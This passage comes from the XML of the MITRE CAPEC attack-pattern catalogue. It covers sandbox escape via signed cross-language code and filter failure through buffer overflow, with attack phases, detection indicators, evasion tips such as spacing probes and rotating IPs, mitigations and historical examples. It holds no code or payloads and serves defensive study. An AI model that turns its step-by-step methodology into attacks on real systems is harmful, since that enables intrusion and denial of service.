						sandbox, thus escaping the sandbox. For instance, Java code cannot perform
						unsafe operations, such as modifying arbitrary memory locations, due to
						restrictions placed on it by the Byte code Verifier and the JVM. If allowed,
						Java code can call directly into native C code, which may perform unsafe
						operations, such as call system calls and modify arbitrary memory locations
						on their behave. To provide isolation, Java does not grant untrusted code
						with unmediated access to native C code. Instead, the sandboxed code is
						typically allowed to call some subset of the pre-existing native code that
						is part of standard libraries.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Probing</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker probes the target application to see
												whether calling signed code from another language is
												allowed within a sandbox.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>The attacker probes the target application
												to see whether calling signed code from another
												language is allowed within a sandbox.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>The target application allows calling signed
												code from another language within a
												sandbox.</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker knows that the
												target application is calling signed code from
												another language within a
												sandbox.</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Analysis</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker analyzes the target application to
												get a list of cross code weaknesses in the standard
												libraries of the sandbox.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>The attacker analyzes the target application
												to get a list of cross code weaknesses in the
												standard libraries of the sandbox.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>The standard library of the sandbox has some
												cross code security weaknesses.</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker gets a list of
												cross code security weaknesses in the standard
												libraries.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description> Sanitize the code of
												the standard libraries to make sure there is no
												security weaknesses in them.
												</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description> If possible, use
												obfuscation and other techniques to prevent
												reverse engineering the libraries.
												</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Verify the exploitable security
											weaknesses</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker tries to craft malicious signed code
												from another language allowed by the sandbox to
												verify the security weaknesses of the standard
												libraries found in the Explore phase. </Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>The attacker tries to explore the security
												weaknesses by calling malicious signed code from
												another language allowed by the sandbox.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker identifies a list
												exploitable security weaknesses in the standard
												libraries.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Sanitize the code of
												the standard libraries to make sure there are no
												security weaknesses in
												them.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Exploit the security weaknesses in the
											standard libraries</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker calls signed malicious code from
												another language to exploit the security weaknesses
												in the standard libraries verified in the Experiment
												phase. The attacker will be able to obtain access to
												privileges that were not intentionally exposed by
												the sandbox, thus escaping the sandbox.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>The attacker calls signed malicious code
												from another language to exploit the security
												weaknesses in the standard libraries.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker escapes the
												sandbox to obtain access to privileges that were
												not intentionally exposed by the
												sandbox.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Sanitize the code of
												the standard libraries to make sure there is no
												security weaknesses in
												them.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text> A framework-based language that supports code signing and sandbox (such
						as Java, .Net, JavaScript, and Flash) Deployed code that has been signed by
						its authoring vendor, or a partner </Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Low</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Analysis</Method_of_Attack>
				<Method_of_Attack>API Abuse</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Exploit: Java/ByteVerify.C is a detection of malicious code that
							attempts to exploit a vulnerability in the Microsoft Virtual Machine
							(VM). The VM enables Java programs to run on Windows platforms. The
							Microsoft Java VM is included in most versions of Windows and Internet
							Explorer. In some versions of the Microsoft VM, a vulnerability exists
							because of a flaw in the way the ByteCode Verifier checks code when it
							is initially being loaded by the Microsoft VM. The ByteCode Verifier is
							a low level process in the Microsoft VM that is responsible for checking
							the validity of code - or byte code - as it is initially being loaded
							into the Microsoft VM. Exploit:Java/ByteVerify.C attempts to download a
							file named "msits.exe", located in the same virtual directory as the
							Java applet, into the Windows system folder, and with a random file
							name. It then tries to execute this specific file. This flaw enables
							attackers to execute arbitrary code on a user's machine such as writing,
							downloading and executing additional malware. This vulnerability is
							addressed by update MS03-011, released in 2003. </Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>High</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>The attacker must have a good knowledge of the platform specific
							mechanisms of signing and verifying code. Most code signing and
							verification schemes are based on use of cryptography, the attacker
							needs to have an understand of these cryptographic operations in good
							detail. </Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>No special resource is required.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Assurance: Sanitize the code of the standard libraries to make sure there
						is no security weaknesses in them.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Use obfuscation and other techniques to prevent reverse
						engineering the standard libraries.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Assurance: Use static analysis tool to do code review and dynamic tool to
						do penetration test on the standard library.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Configuration: Get latest updates for the computer.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Accountability</Consequence_Scope>
					<Consequence_Scope>Authentication</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Scope>Non-Repudiation</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>693</CWE_ID>
					<!-- Protection Mechanism Failure -->
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>68<!--Subvert Code-signing Facilities--></Relationship_Target_ID>
					<Relationship_Description>
						<Text>http://capec.mitre.org/data/definitions/68.html</Text>
					</Relationship_Description>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>115<!--Authentication Bypass--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>Java</Language>
					<Language>ASP.NET</Language>
					<Language>C#</Language>
					<Language>JSP</Language>
					<Language>Other</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>J. Cappos, A. Dadgar, J. Rasley, J. Samuel, I. Beschastnikh,
						C. Barsan, A. Krishnamurthy, T. Anderson</Reference_Author>
					<Reference_Title>Retaining Sandbox Containment Despite Bugs in Privileged
						Memory-Safe Code</Reference_Title>
					<Reference_Publication>The 17th ACM Conference on Computer and Communications
						Security (CCS '10)</Reference_Publication>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Title>Exploit: Java/ByteVerify.C</Reference_Title>
					<Reference_Publisher>Microsoft</Reference_Publisher>
					<Reference_Link>http://www.microsoft.com/security/portal/Threat/Encyclopedia/Entry.aspx?Name=Exploit%3AJava%2FByteVerify.C</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Modifications>
					<Modification>
						<Modifier>Min Xu</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Pre-review - 0.1</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Performed a review of content and added additional
							content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="238"
			Name="Using URL/codebase / G.A.C. (code source) to convince sandbox of privilege"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Hook" Status="Draft">
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>68<!--Subvert Code-signing Facilities--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="239"
			Name="Subversion of authorization checks: cache filtering, programmatic security, etc."
			Pattern_Abstraction="Standard" Pattern_Completeness="Hook" Status="Draft">
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>56<!--Removing/short-circuiting 'guard logic'--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="24" Name="Filter Failure through Buffer Overflow"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>In this attack, the idea is to cause an active filter to fail by causing
						an oversized transaction. An attacker may try to feed overly long input
						strings to the program in an attempt to overwhelm the filter (by causing a
						buffer overflow) and hoping that the filter does not fail securely (i.e.
						lets the user input into the system unfiltered).</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Survey</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker surveys the target application,
												possibly as a valid and authenticated user</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Spidering web sites for inputs that involve
												potential filtering</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Brute force guessing of filtered
												inputs</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Software messages (e.g., "the following
												characters are not allowed...") indicate that
												filtered inputs are present in the software.
												(</Text>
												</Indicator_Description>
												<Environments>env-Web
												env-ClientServer</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>Application uses predefined inputs (e.g.,
												drop-down lists, radio buttons, selection lists,
												etc.)</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Local
												env-Embedded</Environments>
											</Indicator>
											<Indicator ID="3" type="Negative">
												<Indicator_Description>
												<Text>Managed code (e.g., .NET, Java) is likely,
												based on URLs.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="4" type="Negative">
												<Indicator_Description>
												<Text>Managed code (e.g., .NET, Java) is likely,
												based on files found in software.</Text>
												</Indicator_Description>
												<Environments>env-ClientServer env-Local
												env-Embedded env-Peer2Peer
												env-CommProtocol</Environments>
											</Indicator>
											<Indicator ID="5" type="Negative">
												<Indicator_Description>
												<Text>Java code is likely, based on standard
												disclaimers (e.g., "This software contains Java
												from Sun...."). Such declarations are frequent on
												commercial software that is based on Java.</Text>
												</Indicator_Description>
												<Environments>env-Embedded env-Local
												env-ClientServer</Environments>
											</Indicator>
											<Indicator ID="6" type="Inconclusive">
												<Indicator_Description>
												<Text>Java code is likely, based on one of the
												other indicators, but it could contain Java Native
												Interface (JNI) code. This is indicated by the
												inclusion of DLLs or equivalent binary object code
												with Java code.</Text>
												</Indicator_Description>
												<Environments>env-Embedded env-Local
												env-ClientServer</Environments>
											</Indicator>
										</Indicators>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Attempt injections</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Try to feed overly long data to the system. This
												can be done manually or a dynamic tool (black box)
												can be used to automate this. An attacker can also
												use a custom script for that purpose.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Brute force attack through black box
												penetration test tool.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-ClientServer
												env-CommProtocol env-Peer2Peer</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Fuzzing of communications protocols</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-CommProtocol env-Peer2Peer
												env-ClientServer</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Manual testing of possible inputs with
												attack data.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Unexpected output from the
												application.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>No unexpected output from the
												application.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor and analyze
												logs for failures that exceed common usage sizes.
												For example, if typical transactions, even normal
												failed transactions, rarely exceed 250 characters,
												monitor logs for all attempts that contain 250 or
												more characters. In the event of successful
												exploitation, there may actually be no useful log.
												But an attacker's experiments will likely show up,
												giving clues to the ultimate
												attack.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Corrective">
												<Security_Control_Description>Disconnect or block
												connections from systems or users that exceed
												acceptable heuristics for normal transaction
												sizes.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Monitor responses</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Watch for any indication of failure occurring.
												Carefully watch to see what happened when filter
												failure occurred. Did the data get in?</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Boron tagging. Choose clear attack inputs
												that are easy to notice in output. In binary this
												is often 0xa5a5a5a5 (alternating 1s and 0s).
												Another obvious tag value is all zeroes, but it is
												not always obvious what goes wrong if the null
												values get into the data.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Check Log files. An attacker with access to
												log files can look at the outcome of bad
												input.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Local env-Embedded</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Prevent access to log
												files that contain error
												output.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Prevent access to
												and/or sanitize all error
												output.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Abuse the system through filter
											failure</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>An attacker writes a script to consistently induce
												the filter failure.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>DoS through filter failure. The attacker
												causes the system to crash or stay down because of
												its failure to filter properly.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Malicious code execution. An attacker
												introduces a malicious payload and executes
												arbitrary code on the target system.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>An attacker can use the filter failure to
												introduce malicious data into the system and
												leverage a subsequent SQL injection, Cross Site
												Scripting, Command Injection or similar weakness
												if it exists.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Failure mode of the software (perhaps as a
												safety mechanism) includes exiting or ceasing to
												respond.</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
											<Indicator ID="2" type="Negative">
												<Indicator_Description>
												<Text>Failures do not involve stopping services,
												rejecting inputs or connections, and do not affect
												other simultaneous users of the software.</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Attacker-supplied code is
												executed on the target
												system.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Success">
												<Outcome_Description>The software stops responding
												for at least two orders of magnitude longer than
												the input takes to send. (e.g., 0.1s to send input
												induces at least a 10 second period
												non-responsiveness).</Outcome_Description>
											</Outcome>
											<Outcome ID="3" type="Success">
												<Outcome_Description>Non-response by an attacker's
												input has an impact on the quality of service of
												other simultaneous users of the
												software.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor software
												response time regularly, and react to unexpected
												variations.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Execute filtering
												modules with minimal
												privileges.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Execute filtering
												modules in operating system "sandboxes" or similar
												containers.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Ability to control the length of data passed to an active filter.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text_Title>Attack Example: Filter Failure in Taylor UUCP
							Daemon</Text_Title>
						<Text>Sending in arguments that are too long to cause the filter to fail
							open is one instantiation of the filter failure attack. The Taylor UUCP
							daemon is designed to remove hostile arguments before they can be
							executed. If the arguments are too long, however, the daemon fails to
							remove them. This leaves the door open for attack.</Text>
					</Example-Instance_Description>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>A filter is used by a web application to filter out characters that
							may allow the input to jump from the data plane to the control plane
							when data is used in a SQL statement (chaining this attack with the SQL
							injection attack). Leveraging a buffer overflow the attacker makes the
							filter fail insecurely and the tainted data is permitted to enter
							unfiltered into the system, subsequently causing a SQL injection.</Text>
					</Example-Instance_Description>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Audit Truncation and Filters with Buffer Overflow. Sometimes very
							large transactions can be used to destroy a log file or cause partial
							logging failures. In this kind of attack, log processing code might be
							examining a transaction in real-time processing, but the oversized
							transaction causes a logic branch or an exception of some kind that is
							trapped. In other words, the transaction is still executed, but the
							logging or filtering mechanism still fails. This has two consequences,
							the first being that you can run transactions that are not logged in any
							way (or perhaps the log entry is completely corrupted). The second
							consequence is that you might slip through an active filter that
							otherwise would stop your attack.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>An attacker can simply overflow a buffer by inserting a long string
							into an attacker-modifiable injection vector. The result can be a
							DoS.</Text>
						<Text>High : Exploiting a buffer overflow to inject malicious code into the
							stack of a software system or even the heap can require a higher skill
							level.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>Try to feed very long data as input to the program and watch for any
							indication that a failure has occurred. Then see if input has been
							admitted into the system.</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>Some dynamic analysis tools may be helpful here to determine whether
							failure can be induced by feeding overly long inputs strings into the
							system.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Indicators-Warnings_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>Many exceptions are thrown by the application's filter modules in a
							short period of time. Check the logs. See if the probes are coming from
							the same IP address.</Text>
					</Description>
				</Indicator-Warning_of_Attack>
			</Indicators-Warnings_of_Attack>
			<Obfuscation_Techniques>
				<Obfuscation_Technique>
					<Description>
						<Text>An attacker may temporally space out their probes.</Text>
					</Description>
				</Obfuscation_Technique>
				<Obfuscation_Technique>
					<Description>
						<Text>An attacker may perform probes from different IP addresses.</Text>
					</Description>
				</Obfuscation_Technique>
			</Obfuscation_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Make sure that ANY failure occurring in the filtering or input validation
						routine is properly handled and that offending input is NOT allowed to go
						through. Basically make sure that the vault is closed when failure
						occurs.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Pre-design: Use a language or compiler that performs automatic bounds
						checking.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Pre-design through Build: Compiler-based canary mechanisms such as
						StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this
						provides automatic bounds checking, it is not a complete solution.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Operational: Use OS-level preventative functionality. Not a complete
						solution.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Use an abstraction library to abstract away risky APIs. Not a
						complete solution.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Denial of Service-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>Web form, URL, File, Command line, Network socket, etc.</Text>
			</Injection_Vector>
			<Payload>
				<Text>All of the data that just got into the system unfiltered becomes the
					payload.</Text>
			</Payload>
			<Activation_Zone>
				<Text>Since the input enters the system effectively unfiltered, it may be dangerous
					if used in a SQL statement (i.e. SQL injection), as part of the command executed
					on the target system (i.e. command injection), as part of the reflection API
					(i.e. reflection injection), placed in logs (i.e. log injection), or perhaps to
					overflow another buffer in the system and give the attacker ability to execute
					arbitrary code. A subsequent buffer overflow may not even be required for that
					as the original one may be leveraged if the attacker gets lucky, that is the
					payload is activated in the filter itself, which also becomes the activation
					zone.</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Since no input validation is effectively performed in this situation, the
						impact of the attack may be a complete compromise of confidentiality,
						integrity, accountability and availability services.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>120<!--Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
